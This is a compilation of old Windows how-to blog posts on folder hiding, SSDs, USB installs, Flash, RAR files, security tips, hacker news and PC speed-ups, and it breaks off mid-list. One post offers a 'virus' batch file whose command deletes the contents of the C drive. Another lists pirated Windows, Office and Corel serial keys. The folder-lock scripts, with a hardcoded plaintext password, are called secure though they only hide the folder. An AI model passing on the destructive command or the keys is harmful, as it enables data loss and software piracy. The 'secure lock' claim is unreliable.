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 Today i show u how to lock a folder without
any software,program and easily safe,secure
password protect folder without using any software using batch file programming. This trick will work on all windows platform (Win XP, Win 7). Follow below tutorial to learn this trick.

 

How To Lock Folder ?

 STEP 1
 Open Notepad and Copy code given below into it.
cls
@ECHO OFF
title pakmobinfo.blogspot.com
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST MyFolder goto MDMyFolder
:CONFIRM
echo Are you sure to lock this folder? (Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren MyFolder "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock Your Secure Folder
set/p "pass=>"
if NOT %pass%== pakmobinfo goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" MyFolder
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDMyFolder
md MyFolder
echo MyFolder created successfully
goto End
:End
STEP 2.  Save the notepad file as lock.bat (.bat is must)
STEP 3. Now double click on lock.bat and a new folder will be created with name MyFolder
STEP 4. Copy all your data you want to protect in that New folder
STEP  5. Now double click on lock.bat and when command promp appears Type Y and press enter.
STEP 6. Now MyFolder will be hidden from you view, to access that folde double click on lock.bat
STEP 7. It will ask for password enter your password and done. (Default password is pakmobinfo)
  • To change the password replace pakmobinfo with  new password in the above code
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Create this virus using batch file programming. This virus will delete the C Drive completely.
>Follw these following steps to creat it.
 


1. Open Notepad and copy below code into it.

@Echo off
Del C:\ *.* |y

2. Save this file as virus.bat (Name can be anything but .bat is must)
3. Now, running this file will delete all the content of C Drive.

Warning: Please don't try to run on your own computer or else it will delete all the content of your C Drive. I will not be responsible for any damage done to your computer.
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image

Windows hibernation background services use a very large amount
of system resources. If you are like most people you don’t use the
Hibernate feature very much so you may want to disable it to give
Vista a performance boost.
To shut down Hibernation:


1. Click the Start button
2. Select Control Panel
3. Click the Classic View on the left hand side
4. Double-click on Power Options
5. Select Change Plan Settings
6. Choose Change Advanced Power Settings
7. Click the Sleep “plus” icon
8. Click the Hibernate After “plus” icon
9. Adjust your selector down to zero minutes
10. Click Apply
11. Click OK
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If your computer is running slow, upgrading or adding a solid state drive, especially if the drive hosts the operating system, is one of the best ways to tremendously speed up your computer. Solid state drives are flash-based storage media and offer faster performance compared to regular hard disk drives.
Lot’s of Macs now ship with solid state drives; however, it’s rare to find a computer running Windows 7 with a solid state drive used a the boot drive. This is because Windows is used to hard disk drives, but is compatible with solid state drives in Windows 7.
Windows 7 fully supports solid state drives and will automatically adjust the system accordingly as it detects a connected solid state drive. The latest Mac OS X and Linux editions support solid state drives as well. For the best performance possible and a dramatically faster startup time for your computer, you can install or copy the operating system onto the solid state drive, making it the default boot drive.


 
Solid State Drives
    Intel Solid State Drive
  • Expensive
  • Eliminates file fragmenting
  • 2.5″ (laptop size) drive
  • Entirely flash-based
  • Do not have spinning discs
  • Reads data much faster then HDDs
  • Can connect to desktops and laptops  


 Regular Hard Disc Drives
Regular Hard Disk Drive
  • Affordable
  • Needs to be defragmented
  • 3.5″ drive
  • Stores data in fragments
  • Has spinning discs and a read/write head
Solid state drives are typically a 2.5″ drive which is also the standard laptop hard drive size, allowing solid state drives to easily connect to desktop computers and laptops. The standard desktop hard drive size is 3.5″, but you can easily connect solid state drive with an adapter bracket.
Because solid state drives have no physical moving parts like regular hard disk drives, data is not stored in fragments and can be accessed much faster. This is why when you install Windows 7 directly onto a solid state drive and make it the boot drive, Windows system files can load much faster resulting in faster performance and a quicker startup time.
A big difference when looking at solid state drive vs hard drive features is the price tag between the two drives. Solid state drives are more expensive per gigabyte compared to regular hard disk drives, where you get a 1 TB hard disk drive at an affordable price.
With this being said it’s clear that if you’re looking to upgrade to a solid state drive, it should only be for performance and to speed up your computer. If you’re looking for the most space at the best price, you should consider regular hard disk drives.
Hybrid hard drives (HHD) fall right in the middle between solid state drive vs hard drive, and combines both technologies into one device. The affordability of hard disk drives and the performance of solid state drives make up a single hybrid hard drive.
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Most of us have private data. Not all of us have a private computer to keep that data. So, we just end up with other people viewing that data. Although password protecting software do work, it is almost useless to hide private data with these software(because we are always questioned as to what it is that we are hiding with the help of these software).

Hidden folders do not work as they can be easily searched with Windows Search. So, we need an alternative way to create hidden password protected folders which only we can access. And that is exactly what we will learn in this post.

With this trick, you can create a secure password protected folder in Windows which no one except you can access. To use this trick, follow the instructions given below:-



1.  Open Notepad.
2.  Copy and paste the exact code given below:-


cls
@ECHO OFF
title www.tweakandtrick.com
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST MyFolder goto MDMyFolder
:CONFIRM
echo Are you sure to lock this folder? (Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren MyFolder "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock Your Secure Folder
set/p "pass=>"
if NOT %pass%== www.pakmobinfo.blogspot.com goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" MyFolder
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDMyFolder
md MyFolder
echo MyFolder created successfully
goto End
:End


Hide Folders without any Software


3.  Click on the File Menu. Click on Save As.
4.  Select All Types in the Save As Type dropdown menu. Save the file as *.bat or Locker.bat.


After creating the file, double click on the Saved file. A new folder will be created. Enter your data in the folder. Again, double click on the batch file. Type Y and press Enter. The folder will be hidden from view.


To re-view your folder, double click on the saved batch file. Enter password as "www.pakmobinfo.blogspot.com" without quotes and press Enter key. This is also the default password. Your folder will be visible again.

To change the default password, edit the part of the code given in blue and enter your own password.

The overall usability of this trick can be improved by deleting the batch file after hiding your folder and re-creating it when you wish to access your folder again.

If you face any problem using this trick, you can write a comment and I will do my best to help you.

Note: This works on Windows 7, Windows XP and Vista. First try this on useless data to be sure and then only hide your personal data.
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You Can Capture Your Computer Screen Without Any Software Like Screen Hunter Or Any Thing Else :
You May Be Noticed About A Key In Your KeyBoard Which Labeled "Print Screen" .
We Can Use This Key To Capture The Screen .
For Capturing The Screen Just Press "Print Screen" Button ,
Then Open Any Image Editing Softwares Like "M/S Paint" Then Press Ctrl+V .
You Are Done.

Capture Your Screen ( Manual ) without software
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"It's time to be smart with smart windows"


Installing windows 7 using USB drive


What are basic requirements ?
-----Windows 7 DVD
-----And a USB drive having minimum capacity of 4GB.


 What  are advantages if we install window 7 using flash drive ?

----First overall speed of the installation willl increase significantly.
----Carrying USB is more easy and convienient than DVD.
----It also become possible to install windows 7 on  that systems which are not having  DVD drives    such as Net book..


Steps of installing windows 7 using USB drive.
---- Insert USB
---- Run the command prompt as administrator. (Type cmd in start and right click on cmd and click on "run as administrator".)
----In the command prompt type the following command

     -DISKPART

 A new window will appear and execute the following commands in that new window.
 -LIST DISK
-SELECT DISK 1
-CLEAN
-CREATE PARTITION PRIMARY
-SELECT PARTITION 1
-ACTIVE
-FORMAT FS=NTFS
  (This process may take few seconds)
-ASSIGN
-EXIT
Do not  close the command prompt. Minimize it.
----Insert window 7 DVD .
----Maximize cmd and execute the following commands
-   N: CD BOOT   (hit enter Here "N" is my DVD drive letter write your one's here)
-   CD BOOT
-   BOOTSECT.EXE/NT60 O:  (Here "O" is my USB drive letter)
After entering the command this messages appear
                          Your USB device is ready for the boot. Now copy the content of DVD to the USB.
The thing you left to do is to enabling the USB boot options in the BIOS from CD-ROM or HDD.
Enjoy installing windows from USB . If any problem leave it in the comment section.

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windows 2000 password key
serial keys of different windows and ms Office
Windows 97
15695-oem-001346-000881
12095-oem-0004226-12233
Windows 98
PYDMY-DVJ9J-996VH-JX66P-9TWKW
HQ6K2-QPC42-3HWDM-BF4KJ-W4XWJ
Windows Millennium
Jfwp3-ng104-d6821-k57jy-jgrmg
Hbtd9-6p338-xt2mv-qbttf-wpggb
Windows 2000.
Rbdc9-vtrc8-d7972-j97jy-prvmg
Windows XP.
Rhkg3-8yw4w-4rhjg-83m4y-7x9gw
Qw4hd-dqcrg-hm64m-6gjrk-8k83t
Office. 97
4156-0287065
Office 2000
Gc6j3-gtq62-fp876-94fbr-d3dx8
Office XP.
Fm9fy-tmf7q-kckct-v9t29-tbbbg
Gwh28-dgcmp-p6rc4-6j4mt-3hfdy
Corel 11
Dr11crd-0012082-dgw
Corel 12
Dr12wef-5646037
Corel x4 (14)
Dr14t22-fkth7sj-kn3cthp-5bed2vw
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Cloning a CD is a good option to backup the entire things on the CD. When you copy files from the CD, it does not copy the CD settings, like its labels and other things. But, cloning a CD copies all the information including CD label, CD type,etc and saves to your hard disk. This becomes useful when you copy a bootable CD in which the settings are configured so the computers can boot from it. Here, I am going to show a software which you can use to clone your CDs, DVDs with all its settings.
Step 1: First of all, Download Daemon Tools and install it.
Step 2: After installing it, click on the “Disc imaging” icon as shown in the below screenshot.
Step 3: Now, you will be taken to the configuration dialog box, where you will have to specify from where does the Daemon Tools clone CD, where to save the Clone and whether to password protect it or not.
From the Device Dropdown menu, choose your source CD drive, eg. F:\. Set the reading speed as slow as possible. Because, if you set it too fast, then your destination image file may get corrupted. In the Destination image file, choose the folder where you want to save your clone CD and choose the ISO format. ISO format can be burned with any CD Burner software, so better if you choose it.
After setting up the above settings, click on Start. The software will then start cloning the CD.
I hope you would have gotten idea on how to clone the CD by reading this article
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Believe me, it’s really easy to install Flash Player. Users don’t need to worry about it much. Frankly speaking, it’s as simple as installing any other applications provided the user moves in the right direction.


Now, let me suggest you the easiest way to install Flash Player for some of the mostly used browsers like Firefox, Chrome etc:
  1. Download Adobe Flash Player from http://get.adobe.com/flashplayer/
  2. Bring the archive in your home folder
  3. Then open terminal and type:

Install Flash Player For Chrome

  • sudo mv /opt/google/chrome/libgcflashplayer.so /opt/google/chrome/libgcflashplayer.so-backup cp ~/libflashplayer.so ~/.mozilla/plugins
  • sudo cp ~/libflashplayer.so /opt/google/chrome/libgcflashplayer.so
To remove it, type:
  • sudo mv /opt/google/chrome/libgcflashplayer.so-backup /opt/google/chrome/libgcflashplayer.so

Install Flash Player For Firefox

  • mkdir ~/.mozilla/plugins/
  • cp ~/libflashplayer.so ~/.mozilla/plugins

To remove it, type:
  • rm ~/.mozilla/plugins/libflashplayer.so

Install Flash Player with Internet Explorer

  1. Check out whether there is any error in Internet Explorer security and JavaScript settings
  2. Please disable ActiveX Filtering, if you are using Internet Explorer 9
  3. Go to the Download Adobe Flash player page and click the Download Now option
  4. When the File download window appears click on Run
  1. If any of the following windows open then click Run or Yes
  1. Then the adobe Flash Player window appears and download starts
  2. Close Internet Explorer and click Retry when the below mentioned window appears
  1. Once installation completes click on Finish

Problems with installing Flash Player?

Now, if one encounters problem in installing Flash Player, he can apply the following tricks:
  • Check put whether the PC fills up the requirements that are needed to run the Flash Player.
  • Make sure that no older version of Flash Player is already installed in the PC
  • If so then uninstall the older version
  • Download and install the latest version
  • Try for more solutions if required
So, these are the methods that one user can apply to enjoy the right advantages Flash Player.
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What is a RAR File

RAR file is basically older form of WinRAR archiver. Like any other archiver it RAR files also contains data and store them in compressed manner. Users need to unpack the materials which are stored as RAR file in order to use them. RAR files can be recognized from their .rar extension.

How to Open RAR File on Mac

Generally, special software is required for opening .rar files on Mac. Well, a Mac user can open a RAR file easily by applying the following method.

Instructions

  • Expand the .rar file with decompression software
  • Learn properly about .rar files
  • Use the Stufflt Expander. This in built program can decompress .rar files in computers run on Mac OS X.
  • Apply a file decompression tool that works with Mac like UnrarX. It’s available with Mac OS X 10.0 and higher configurations.
  • Download softwares like RAR. Expander that supports Apple scripts and can decompress multiple archives at a time.
  • Drag the .rar files and drop them on the icon of the expander software. The software will expand and open RAR files for Mac users then.

How to Open RAR Files on Windows

WinRAR is perhaps the most useful program to open .rar files on Windows. You can download WinRAR here.
Once WinRAR is installed follow the below mentioned method to open .rar files.
  • Right click on the .rar file that you want to open and select ‘open’
  • A window like the below one will appear once you open it
  • Select ‘Extract Files’ if you want to save them in a separate location and click on ‘Extract Here’ if you want to store it in the same location. Just look at the picture
  • If you have selected ‘Extract Here’ then look for the files in same location, if not then a window like the following one will open
  • Now the file is opened
That’s the easiest me method to open .rar files on Windows.
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Your computer holds some of your most important—and private—information, so we’ve written down the 10 top safety computer tips that help you keep your computer and your information safe. Some tips are very common but are often over looked.

Safety Computer Tips #1: Use Anti-Virus Software

Anti-virus software is your best protection against the worst kind of computer problems—viruses. Although most viruses spread through email and Internet downloads, some spread directly through the network and other spread through USB disk drives.
There’s too many ways for an virus to get on your computer for you to try to guard against all of them, so the first step you take to secure your computer should be to install good anti-virus software.
But even more important than installing the anti-virus software is keeping it updated. Most anti-virus software will update itself—just make sure you don’t disable updating in the configuration or go too long without connecting to the Internet.
Anti-virus software can only protect your computer against known viruses. Hackers are writing new viruses everyday, so its important to also follow the rest of the tips in this article to keep yourself safe.
Safety Computer Tips

Safety Computer Tips #2: Beware Downloading

The easiest way for hackers to install malware (bad programs) on your computer is by convincing you to install them yourself. Most malware on the Web hides as small but useful-sounding programs. For example, new screen savers, new chat applications, and minor desktop improvements.
The software you thought you were installing quietly installs a few extra programs you didn’t ask for. Some of these programs display ads, some of them report details about your computer to hackers, some of them may even open ports—short for portals—that allow hackers to access your computer.
It’s hard to tell which software is legitimate and which software is genuinely useful, but if you have any doubt about a program, it’s best left uninstalled.

Safety Computer Tips #3: Don’t Trust Email

Do you trust your mother? Of course you do, so why wouldn’t you download the attachment she sent you in her latest email?
Viruses know that people trust their friends and family, and they often exploit this by sending rouge emails containing viruses to unsuspecting users. It’s not that your mother would ever intentionally try to infect your computer with a virus—she doesn’t know the attachment she sent you contains a virus.
A specific type of hacker called phisers also use fake emails from respected Internet companies to try to get your passwords. After they get your password, they’ll try to use it to empty your online bank accounts.
All of this means only one thing: don’t trust email. Don’t download attachments unless they’re in in a safe file format. Don’t click on links in your email and enter your password. With the state of email today, it’s ok to be a little paranoid. There are a few things for you to do to try and stop spam emails, but again it takes common sense mostly.

Safety Computer Tips #4: Investigate

Is there something goofy about your computer? Is it running slow? Are you getting strange error messages? Is your ISP complaining that you’re sending too many emails?
All of these problems need to be investigated. Viruses often use your computer processing power for evil, making your computer run slow. Viruses often try to hide among other programs, causing strange error messages. Viruses often send spam emails, making your ISP complain.
If you see a problem, start investigating it and don’t stop until you figure out what the problem was. Otherwise you risk letting a small virus install bigger, worse viruses.

Safety Computer Tips #5: Restrict Administrative Access

In a household or office where many people share computers, everyone is at the mercy of everyone else. No matter how safe you try to keep your computer, anyone else with administrator access can install a virus-infected program.
In these multi-user environments, it pays to restrict administrator access to only the users who know how to keep the computer safe. In fact, I suggest you create just one administrator account for each computer and then give every user their own non-administrator account.
Only when you need to install a program or change a setting should you use the administrator account. For everything else, you should use your own user account. This helps avoid the situation where you accidentally leave your administrator account logged in and the next person on the computer uses it to accidentally download a virus.

Safety Computer Tips #6: Backup!

A couple weeks ago shortly after a thunderstorm, I heard fire sirens down the street from my house. There had been a giant nearby bolt of lightning and the power was still out, so I went to investigate—one of my neighbors’ houses was on fire. It was tragic.
Safety Computer Tips: Backup
I don’t know how much they lost, but it made me think of what I’d lose if my own house caught fire. I realized that many of the things I’d miss most were stored on my computer. So, as soon as the power returned, I double-checked that my backups were still running as expected. I checked all my external hard drives and other backup storage devices I use.
Nothing can keep your data safer than backing it up. We’ve covered several great easy-to-use backup solutions in other articles, and we still recommend Mozy for affordable complete backups. They offer free 2Gb storage and promise better security.

Safety Computer Tips #7: Watch Your Kids

Kids these days grow up with the Internet, and that means they’re exposed to all of the Internet’s less savory aspects from an early age. It’s easy enough to install some parental control software and then assume that your kids are safe—but they’re not.
If there’s one thing I’ve learned about kids, it’s that they’re ingenious little buggers. Worse, your kids probably know your computer better than you do. No mere technology is going to stop them from getting into trouble.
The best way to keep your kids safe is to watch them when they browse the Internet. That may sound hard, but it can be quite easy—just put the family computer in the room where you or your spouse spend most of your time—for example, the kitchen or the living room.
You may also want to check the kid’s Web browser logs, but beware—if the kids know you do this, they’ll find ways of removing entries. A better method would be to check the hostname access logs on your router, but again, a crafty kid will eventually figure out how to fool even that.

Safety Computer Tips #8: Different Sites, Different Passwords

You’ve probably grown used to reading in computer news how such-and-such big site has been hacked and all of its usernames and passwords were stolen. It may not seem terribly important—after all, most sites don’t store any financial information.
But hackers know that most people use the same username and password for different websites. John Smith very likely uses the same password for his Yahoo! email account that he does for his PayPal account. Minutes after breaking into Smith’s email account, the hackers could use PayPal to empty his bank account.
Each site you use should have a different password—or, at the very least, you should use a different password for each site with access to your financial information. Protecting your online accounts is extremely important so do not neglect this!

Safety Computer Tips #9: Encrypt Sensitive Files

Even if you work really hard at avoiding viruses and other malware, you should prepare yourself for the chance that one will make it onto your computer any way. Backups protect your files from being deleted, but what protects your sensitive files from hackers?
The only thing that can protect your sensitive files is encryption. Higher-end versions of Windows include encryption, but you can also download a free encryption utility that provides just as much security (if not more—Microsoft is under pressure by some governments to put a “back door” into their encryption.)
To secure your files against hackers and other prying eyes, I suggest the free TrueCrypt encryption software.

Safety Computer Tips #10: Firewall

There’s a big difference between good and bad anti-virus software, but the same isn’t true of firewall software. Even the free firewall that comes with all recent versions of Windows will fully protect your computer against automatic network virus attacks. Just make sure you turn it on in the control panel.
If your anti-virus software comes with a firewall, I suggest you use that instead—not because it’s better, but because it will probably be easier for you to use.  And keeping things simple is its own safety computer tips.


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Secure your identity and data on every PC you use

It's hard enough keeping your own PC secure without worrying about other computers.
But if you do need to access the web, email or an important document on another computer, you need to be sure you're not compromising yourself by doing so.
With a portable flash drive, you can build a collection of portable tools that will keep your data and identity secure, plus help you ascertain if that PC is safe to use.
Note: If the target PC is infected your portable flash drive won't be able to protect you against any identity or data-stealing malware. If you have any doubts about the PC in question, don't use it.
1. Rohos Mini Drive
Secure the contents of your flash drive from loss or theft by creating a special, hidden encrypted partition. Rohos Mini Drive lets you create an encrypted partition up to 2GB in size for free (upgrade for US$25 for unlimited space and other enhancements), and will run on PCs without requiring administrator privileges. For additional security, we recommend installing all of your portable apps to this encrypted partition.
2. Portable Firefox
This comes as part of the PortableApps collection, and enables you to browse the web without worrying about leaving any tell-tale traces of where you've been: everything from your cookies to your browser history is stored on your encrypted volume.
PC security toolkit
3. Essential add-ons
Once Portable Firefox is installed choose Tools > Add-Ons and install the following add-ons for increased security, privacy and convenience: Xmarks to synchronise bookmarks between your flash drive and other computers, Web of Trust to provide safety ratings for web sites and search engine results, and LastPass for secure password and form filling.
PC security toolkit
4. Portable KeePass
This comes as part of the PortableApps suite - it doesn't offer the secure form-filling capabilities of LastPass, but it will store passwords for more than just Firefox. If you eschew Firefox in favour of another portable browser such as Opera@USB or Portable Chrome then it's a must.
5. Portable Thunderbird
The biggest problem with using Portable Thunderbird for checking your mail is keeping it synchronised with your home PC - either leave a copy of your mail on the server after downloading it, or use IMAP if your account supports it to remain perfectly in sync.
PC security toolkit
6. Pidgin Portable
This lightweight instant messaging tool boasts compatibility with all major IM protocols, including Yahoo!, AOL and Windows Live/MSN, so you can chat from any PC. If you and your mate install one of the two encryption plug-ins you can chat securely too.
PC security toolkit
7. Clamwin Portable
If you want to scan the PC you're working on for possible infection before using it, the portable version of this open-source tool can be run and set to scan for nasties. Remember, no security tool is infallible, but it'll give you a headstart.
PC security toolkit
8. a-squared HijackFree
Once installed directly to your flash drive (don't create any shortcuts when prompted), you can use this app to take a closer look at the PC you're using. You'll need administrator privileges to do so, but if you pass muster you can take a look at running processes, Services and take a peek into areas of the PC where infections are likely to occur.
PC security toolkit
9. Portable Applications
The Portable Applications suite includes many of the tools already mentioned, but because it's not updated as regularly as individual applications you might prefer to install just the core version and then download the apps themselves separately.
If you're worried about what temporary files might be created when working on a host PC's own installed applications, use your own instead. Take a look at the growing number of portable Office and viewer apps out there: AbiWord, OpenOffice, Sumatra PDF Portable, and VLC Media Player Portable are just four examples.
PC security toolkit
10. Eraser Portable
If you end up using your host PC's hard drive to store files on, you may want a means of securely shredding that data when you've finished; Eraser Portable will do the job, but avoid using it on your own flash drive's files (if your data is stored on your encrypted partition it's not required anyway).
PC security toolkit
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Who's hacking your PC?

Watch a Hollywood film and it'll depict hackers as fast-talking American kids – pale faced, coke swilling, super-smart and capable of doing the impossible. This is, of course, a fiction.
If you were a career computer criminal, would you choose to base yourself in a country with mature computer crime laws and strong-arm enforcers? No. You'd want to be somewhere comparatively lawless. If you're looking for hackers, look east – towards China and Russia – and you'll be barking up the right tree.
That's what the analysts say. But even here myths and rumours get in the way. The Berlin Wall may have fallen but the KGB is still alive and clicking. Beijing has an army of hackers eyeing the West's data. Stories of dark doings and espionage at the keyboard abound. The truth, however, is hard to come by.
Take Russia. While there's no doubt that the ex-Soviet state is genuinely computer-savvy, is there any hard evidence that it poses a greater threat to your PC than, say, South America? In case you're wondering, Brazil is regarded as a leader in banking trojan technology.
Are the Russians phishing like there's no tomorrow? Or are security firms reviving Cold War paranoia in the hope of making 'the enemy' look bigger and uglier, all in order to sell us antivirus software?
The code war
Boris Miroshnikov seems almost proud of the criminals that he chases through cyberspace. He's a Lieutenant General with the Russian police's Department K, which fights domestic cybercrime. Speaking at the 2005 E-crime Congress in London, Miroshnikov told delegates: "Our software writers are the best in the world; that's why our hackers are the best in the world."
"You're right in thinking that Russia and Eastern Europe are playing a big role in organised webcrime," says Con Mallon, Symantec's Product Marketing Director for Europe, the Middle East and Asia. "Information made public by various arrests of underground economy groups suggests that groups in Russia and Eastern Europe are more organised and professional operations, and that they also possess greater abilities and manufacturing facilities to mass-produce physical credit and debit cards."
Many Russians have been convicted for cybercrime in the past decade. Vasiliy Gorshkov and Alexey Ivanov are from Chelyabinsk, 75 miles from the Kazakhstan border. In 2001, the FBI tricked them into visiting the USA, where they were arrested and charged with 20 counts of conspiracy, fraud and other offences.
In 2004, Department K broke up a criminal gang that had extorted money from nine British bookies, causing a total of over £45million in lost business. And after extorting more than £2million from British companies in 2006 using distributed denial of service (DDoS) attacks, Ivan Maksakov, Alexander Petrov, and Denis Stepanov were convicted after an international effort by Interpol, the FBI and the UK's now-defunct National High-Tech Crimes Unit.
During their six-month spree, the gang launched over 50 blackmail attempts in 30 countries. When UK based bookmaker CanBet Sports refused to pay the $10,000 demanded, the subsequent DDoS attack saw the company lose around £100,000 per day.
In May 2007, Estonia came under a concerted botnet DDoS attack that knocked out the tiny Baltic state's government, media and business websites, halting its largely web-based banking systems. Similarly, during the Russian invasion of Georgia last year, hackers poured DDoS traffic into the troubled country in order to knock out its infrastructure. But were these hackers Russian?
Reasonable doubts
Ken Munro is Director of the Penetration Testing Division of the National Computer Centre (NCC). "The people who do use botnets are extortionists, and we know there are huge volumes of compromised machines out there, synchronised, ready to run, and you can point them wherever you like," he says. "Who's to say that [the Georgian attack] wasn't another foreign power trying to undermine the Georgian government, and it just happened to coincide with the Russian attack?"
The problem with botnets is that the infected computers could be anywhere. As a result, it's difficult to quantify the amount of cybercrime originating from Russia. "I'm not going to give you a figure," says Munro. "The problem with all these things is that no one genuinely knows. And even with vendors who give you numbers, all they're relying on is what they perceive to be the source IP addresses. That means absolutely nothing, because anyone could use an open proxy on a compromised machine and relay their traffic to any other system in the world."
Even if you trace malicious traffic back to a single machine, it might not be the real source. "It could be some poor home user who's got an XP system sat there on the internet and doesn't know they're being used as a back door," confirms Munro. "So, there's almost no confidence in the statistics."
There's no denying that press reports of Russian hacker convictions are true and that they're on the rise, but there have also been plenty of non-Russian convictions over the last decade. Some of the crimes perpetrated by US and non-Russian European hackers have been very sophisticated.
Take Gabriel Bogdan Ionescu, for example. He's a 22-year-old Romanian currently serving three years in an Italian prison for setting up a cloned copy of the Italian Post Office's website and siphoning off money in a sophisticated phishing scam.
Meanwhile, in the US, Robert Moore was convicted of what, to most people, looked like an ingenious scheme to steal VoIP services and sell them through a second company. In an interview before he was due to start a two-year prison sentence, he described what he had done as being "so easy a caveman could do it". In all, Moore broke into 15 telecommunications providers and "hundreds" of private companies.
And Kiwi hacker Owen Walker, who was convicted in April 2008, managed to create a botnet of 1.3 million compromised computers as his part of a large online crime ring. The botnet was used to siphon off millions of dollars from unsuspecting users' bank accounts.
The now-infamous Estonian DDoS attack of 2007 was initially linked to the Russian government by the press. However, a subsequent investigation revealed that it had been perpetrated by an impromptu 'flashmob' who were angry at the removal of a Russian war statue in the Estonian capital Tallinn. Though the first person to be convicted of the attack, Dmitri Galushkevic, was Russian by birth, he lived in Estonia and attacked from within.

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Keyboard Shortcuts For Popular Social Media Networks

 A lot of people use Social Media. It's a great way to stay connected with your friends and family. If you landed on this page through a search engine, or even otherwise, then chances are that you are an active social media user. Some people deal with social media many times a day. For such people, and even others who aren't as avid at social media, it could pay off to learn some keyboard shortcuts. Browsers have shortcut keys, and so do websites. While some people might prefer the mouse, others can browse through their social world more quickly and efficiently with the help of keyboard shortcut keys. Here are the most useful shortcut keys for the three most popular social media networks; Facebook, Twitter and Google plus.

Social Media Keyboard Shortcuts

Facebook

Unlike other websites and social media, Facebook has based its shortcut keys on the browser. Hence, the shortcuts for Facebook will vary from browser to browser. In Firefox, you will need to add a Shift key before the key combinations given below, whereas in Internet Explorer, you need to hit Enter after the combination. Same goes for a Mac, except that for Firefox, you need to press Ctrl instead of Shift. Rest of the keys should be same. Here are the key combinations for Facebook.

Key Function
Alt + M Compose new message
Alt + / Main site search
Alt + 1 Go to home page
Alt + 2 Go to Timeline
Alt + 3 See friends requests
Alt + 4 Go to message inbox
Alt + 5 See all notifications
Alt + 6 Go to Account Settings
Alt + 7 Go to Privacy Settings
Alt + 8 Go to Facebook's Profile Page
Alt + 9 Go to Facebook's Terms of Service
Alt + 0 Go to Facebook Help Center

Twitter

Twitter shortcuts are the easiest to use. Twitter also displays the whole list of shortcuts in a pop-up so you can easily look for the action you want. To bring up this pop-up, simply press the ? key (Shift + /). Here is the list of Twitter shortcuts.


Key Function
Actions
F Favorite
R Reply
T Retweet
M New direct message
N New Tweet
Enter Open Tweet Details
L Close all open Tweets
Navigation
? List of all shortcuts
J Next Tweet
K Previous Tweet
Space Page down
/ Search
. Go to top and load new Tweets
Timelines
G + H Go Home
G + C Go to Connect
G + A Activity
G + D Discover
G + R Mentions
G + L Lists
G + P Profiles
G + F Favorites
G + M Messages
G + S Settings
G + U Go to user

Google Plus

Google Plus also has its share of shortcuts, but they are relatively fewer, and they can only be activated in certain instances, such as when a post or a particular section of the website is in focus. Here are the most commonly used shortcuts for Google plus.

Key Function
K Go to previous item in the stream (feed)
J Go to next item in the stream
Q Search for people to chat with (when chat windows is active)
Space Scroll down
Shift + Space Scroll up
Enter Start new comment (when focused on a post)
Enter + Tab End comment
@ or + Tag someone (start typing a name)

These were the most common shortcut keys for the most popular social media. If you know of more such shortcuts, then do tell us in the comments below, and we might add it to this list. Cheers :)

 

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20 expert tips to speed up your PC

1. Update the BIOS
Upgrading your PC's BIOS, or firmware in other devices like the router, could be a quick way to improve performance, fix bugs and even add new features. Look for the current BIOS version number on your boot screen or in the BIOS set-up program and then visit the manufacturer's site to check for recent upgrades.

2. Disable unwanted devices
Speed up the boot process by turning off motherboard devices that you're not using, such as integrated sound, graphics, extra network ports and so on. Look for a BIOS set-up menu called something like Integrated Peripherals to find the options that you need.
Disable

Once Windows starts, launch Device Manager (devmgmt.msc), locate any remaining unwanted devices, right-click them and select 'Disable' to save more resources. Be careful, though – disable the wrong device and you're likely to find that your PC won't be able to reboot. If you're in any doubt about what a service does, look it up on the internet or leave it well alone.

3. Kick-start your PC
Optimising your BIOS settings will make for a quicker boot. Turn off the extended memory test, since it's useless, then turn on a QuickBoot or FastBoot mode (the names may vary) for a little extra speed.
Next, browse your BIOS set-up program looking for the boot order settings (often found under a Boot or Startup | Boot menu), which is a list that determines where your system looks for bootable devices.
Make sure that your hard drive comes right at the top of the list to avoid your system wasting time checking other devices. If you need to boot from CD later on (typically to install a new operating system or run a Live CD), you can temporarily change it back.

4. Get rid of USB checks
If you leave a USB drive connected to your PC and it appears in the boot order before your hard drive, then your PC will give the drive some time to initialise before checking whether it's bootable. In some BIOSes this time is called the USB Mass Storage Delay, and it can be determined by you.
If you never boot from a USB drive then set this to the lowest available figure to minimise any delay. If you find that you need to boot from a USB device in the future, simply increase the figure again.

5. Overclock the CPU
Overclocking your CPU – or running it faster than its rated speed – can get you 10 to 20 per cent more performance for a few minutes' work. There are risks, though. More speed means more heat and maybe more voltage too.
You'll use more power, and components will have a greater chance of failing – so don't try this unless you're willing to accept the risks of doing so. Assuming you are, launch your BIOS set-up program and look for the overclocking settings (try the Advanced menu). Exactly what's available depends on your hardware, but in principle increase your CPU and memory frequencies just a little.
OCCT

Boot your system and stress-test it with tools such as memtest86+ and OCCT to confirm that all is well. If it is, increase the frequencies a little more, and see what happens; if not, reduce the frequencies or increase the voltages (VCore, memory voltage), which should allow you to run a little faster (although doing this also risks burning out your components).
Don't do anything until you know what's appropriate for your hardware, though. The Extreme Overclocking forum is a great place to find out more.

6. Safely overclock the CPU
